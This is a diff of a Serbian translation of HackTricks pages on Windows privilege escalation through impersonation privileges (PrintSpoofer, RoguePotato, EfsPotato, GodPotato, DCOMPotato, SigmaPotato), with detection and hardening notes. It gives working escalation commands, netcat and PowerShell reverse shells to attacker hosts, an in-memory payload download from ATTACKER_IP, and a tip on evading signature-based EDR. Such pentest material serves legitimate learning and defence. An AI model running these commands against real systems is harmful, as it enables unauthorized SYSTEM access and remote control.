neuobičajenih, nasumičnih pipe-ova koji prethode token-manipulation events. -- Tražite sekvence: proces kreira pipe, SYSTEM servis se poveže, zatim proces koji je kreirao spawn-uje child kao SYSTEM. -- Smanjite izloženost uklanjanjem SeImpersonatePrivilege sa nebitnih servisnih naloga i izbegavanjem nepotrebnih service logon-ova sa visokim privilegijama. -- Defensive development: pri povezivanju na nepoverljive named pipe-ove, navedite SECURITY_SQOS_PRESENT sa SECURITY_IDENTIFICATION da sprečite servere da u potpunosti impersoniraju klijenta osim ako nije neophodno. +## Detekcija i ojačavanje +- Pratite kreiranje i konekcije named pipe-ova. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) su korisni za uspostavljanje referentne linije legitimnih imena pipe-ova i otkrivanje neobičnih, nasumičnih pipe-ova koji prethode događajima manipulacije tokenom. +- Pratite sekvence: proces kreira pipe, SYSTEM servis se povezuje, zatim proces koji je kreirao pipe pokreće potomka kao SYSTEM. +- Smanjite izloženost uklanjanjem SeImpersonatePrivilege sa nebitnih servisnih naloga i izbegavanjem nepotrebnih logovanja servisa sa visokim privilegijama. +- Defanzivni razvoj: pri povezivanju na nepouzdane named pipe-ove, navedite SECURITY_SQOS_PRESENT sa SECURITY_IDENTIFICATION da biste sprečili servere da u potpunosti impersoniraju klijenta osim ako nije neophodno. -## References -- Windows: ImpersonateNamedPipeClient dokumentacija (zahtevi i ponašanje impersonacije). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +## Reference +- Windows: ImpersonateNamedPipeClient dokumentacija (zahtevi za impersonaciju i ponašanje). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient - ired.team: Windows named pipes privilege escalation (uputstvo i primeri koda). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 75f392f85..73f06e6f8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato doesn't work** na Windows Server 2019 i Windows 10 build 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogu se koristiti da **iskoriste iste privilegije i dobiju pristup na nivou `NT AUTHORITY\SYSTEM`**. Ovaj [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno objašnjava alat `PrintSpoofer`, koji se može koristiti za zloupotrebu impersonation privilegija na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno objašnjava `PrintSpoofer` alat, koji se može koristiti za zloupotrebu privilegija impersonacije na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi. > [!TIP] -> Moderna alternativa, često održavana u 2024–2025, je SigmaPotato (fork GodPotato) koja dodaje upotrebu in-memory/.NET reflection i proširenu podršku za OS. Pogledajte brzu upotrebu ispod i repo u odeljku References. +> Moderan alternativ koji se često održava u 2024–2025 je SigmaPotato (fork GodPotato) koji dodaje upotrebu in-memory/.NET reflection i proširenu podršku za OS. Vidi brzu upotrebu dole i repozitorijum u referencama. Related pages for background and manual techniques: @@ -22,25 +22,25 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Zahtevi i uobičajene zamke +## Zahtevi i česti problemi -Sve sledeće tehnike se oslanjaju na zloupotrebu privilegovanog servisa koji podržava impersonation iz konteksta koji poseduje jednu od sledećih privilegija: +Sve sledeće tehnike zasnivaju se na zloupotrebi privilegisanog servisa koji može da izvrši impersonaciju, iz konteksta koji ima jednu od sledećih privilegija: -- SeImpersonatePrivilege (najčešći) ili SeAssignPrimaryTokenPrivilege -- Povišen nivo integriteta nije potreban ako token već ima SeImpersonatePrivilege (tipično za mnoge servisne naloge kao što su IIS AppPool, MSSQL, itd.) +- SeImpersonatePrivilege (najčešća) ili SeAssignPrimaryTokenPrivilege +- Visok integritet nije potreban ako token već ima SeImpersonatePrivilege (tipično za mnoge servisne naloge kao što su IIS AppPool, MSSQL, itd.) -Brzo proverite privilegije: +Brza provera privilegija: ```cmd whoami /priv | findstr /i impersonate ``` Operativne napomene: -- PrintSpoofer zahteva da je servis Print Spooler pokrenut i dostupan preko lokalne RPC krajnje tačke (spoolss). U ojačanim okruženjima gde je Spooler onemogućen nakon PrintNightmare, preferirajte RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato zahteva OXID resolver dostupan na TCP/135. Ako je izlazni saobraćaj (egress) blokiran, koristite redirector/port-forwarder (vidi primer ispod). Starije verzije su zahtevale -f flag. -- EfsPotato/SharpEfsPotato zloupotrebljavaju MS-EFSR; ako je jedan pipe blokiran, probajte alternativne pipe-ove (lsarpc, efsrpc, samr, lsass, netlogon). -- Greška 0x6d3 tokom RpcBindingSetAuthInfo obično ukazuje na nepoznatu/nepodržanu RPC autentikacionu uslugu; probajte drugi pipe/transport ili se uverite da je ciljna usluga pokrenuta. +- PrintSpoofer zahteva da Print Spooler service radi i bude dostupan preko lokalnog RPC endpoint-a (spoolss). U ojačanim sredinama gde je Spooler onemogućen nakon PrintNightmare, preferirajte RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato zahteva OXID resolver dostupan na TCP/135. Ako je egress blokiran, koristite redirector/port-forwarder (see example below). Starije build-ove je trebalo pokretati sa -f flag. +- EfsPotato/SharpEfsPotato iskorišćavaju MS-EFSR; ako je jedan pipe blokiran, probajte alternativne pipe (lsarpc, efsrpc, samr, lsass, netlogon). +- Error 0x6d3 tokom RpcBindingSetAuthInfo obično ukazuje na nepoznat/unsupported RPC authentication service; pokušajte drugi pipe/transport ili osigurajte da ciljna usluga radi. -## Quick Demo +## Brzi demo ### PrintSpoofer ```bash @@ -58,8 +58,8 @@ NULL ``` Napomene: -- Možete koristiti -i da pokrenete interaktivni proces u tekućoj konzoli, ili -c da pokrenete one-liner. -- Zahteva Spooler service. Ako je onemogućen, ovo neće uspeti. +- Možete koristiti -i da pokrenete interaktivni proces u trenutnoj konzoli, ili -c da izvršite jednolinijsku komandu. +- Zahteva Spooler servis. Ako je onemogućen, ovo neće uspeti. ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Ako je outbound 135 blokiran, pivot OXID resolver preko socat na vašem redirectoru: +Ako je outbound 135 blokiran, pivot-ujte OXID resolver preko socat na svom redirectoru: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Savet: Ako jedan pipe zakaže ili ga EDR blokira, pokušajte ostale podržane pipes: +Savet: Ako jedan pipe zakaže ili EDR ga blokira, pokušajte sa drugim podržanim pipe-ovima: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` Napomene: -- Radi na Windows 8/8.1–11 i Server 2012–2022 kada je prisutan SeImpersonatePrivilege. +- Radi na Windows 8/8.1–11 i Server 2012–2022 kada je prisutno SeImpersonatePrivilege. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato pruža dve varijante koje ciljaju service DCOM objects koji su podrazumevano podešeni na RPC_C_IMP_LEVEL_IMPERSONATE. Sastavite ili koristite priložene binarne fajlove i pokrenite svoju naredbu: +DCOMPotato nudi dve varijante koje ciljaju servisne DCOM objekte koji podrazumevano koriste RPC_C_IMP_LEVEL_IMPERSONATE. Kompajlirajte ili koristite priložene binarne fajlove i pokrenite svoju komandu: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -139,7 +139,7 @@ McpManagementPotato.exe "cmd /c whoami" ``` ### SigmaPotato (ažurirani fork GodPotato) -SigmaPotato dodaje moderne pogodnosti kao što su in-memory izvršavanje putem .NET reflection i PowerShell reverse shell helper. +SigmaPotato dodaje moderne pogodnosti kao što su in-memory execution putem .NET reflection i PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -148,13 +148,13 @@ SigmaPotato dodaje moderne pogodnosti kao što su in-memory izvršavanje putem . # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Otkrivanje i mere za jačanje bezbednosti +## Beleške o detekciji i ojačavanju -- Pratite procese koji kreiraju named pipes i odmah pozivaju token-duplication APIs, nakon čega slede CreateProcessAsUser/CreateProcessWithTokenW. Sysmon može prikazati korisnu telemetriju: Event ID 1 (process creation), 17/18 (named pipe created/connected), i komandne linije koje pokreću podprocese kao SYSTEM. -- Ojačavanje Spooler-a: Onemogućavanje Print Spooler servisa na serverima gde nije potreban sprečava lokalne zloupotrebe u stilu PrintSpoofer-a putem spoolss. -- Ojačavanje naloga servisa: Smanjite dodeljivanje SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege prilagođenim servisima. Razmislite o pokretanju servisa pod virtualnim nalozima sa najmanjim potrebnim privilegijama i o izolovanju koristeći service SID i write-restricted tokens gde je moguće. -- Mrežne kontrole: Blokiranje outbound TCP/135 ili ograničavanje RPC endpoint mapper saobraćaja može onemogućiti RoguePotato osim ako nije dostupan interni redirector. -- EDR/AV: Svi ovi alati su široko prepoznatljivi po potpisima. Rekompajliranje iz izvornog koda, preimenovanje simbola/stringova ili korišćenje izvršavanja u memoriji može smanjiti detekciju, ali neće zaobići robusne detekcije zasnovane na ponašanju. +- Pratite procese koji kreiraju named pipes i odmah pozivaju token-duplication APIs, a potom CreateProcessAsUser/CreateProcessWithTokenW. Sysmon može prikazati korisnu telemetriju: Event ID 1 (kreiranje procesa), 17/18 (named pipe kreiran/povezan) i komandne linije koje pokreću child procese kao SYSTEM. +- Spooler hardening: Onemogućavanje Print Spooler servisa na serverima gde nije potreban sprečava PrintSpoofer-style lokalne eskalacije putem spoolss. +- Service account hardening: Smanjite dodeljivanje SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege prilagođenim servisima. Razmotrite pokretanje servisa pod virtualnim nalozima sa najmanje potrebnih privilegija i njihovo izolovanje koristeći service SID i write-restricted tokene kad je to moguće. +- Network controls: Blokiranje outbound TCP/135 ili ograničavanje RPC endpoint mapper saobraćaja može onemogućiti RoguePotato osim ako nije dostupan interni redirector. +- EDR/AV: Svi ovi alati su široko detektovani po potpisima. Rekompajliranje iz izvornog koda, preimenovanje simbola/stringova ili izvođenje u memoriji može smanjiti detekciju, ali neće pobediti pouzdane detekcije zasnovane na ponašanju. ## References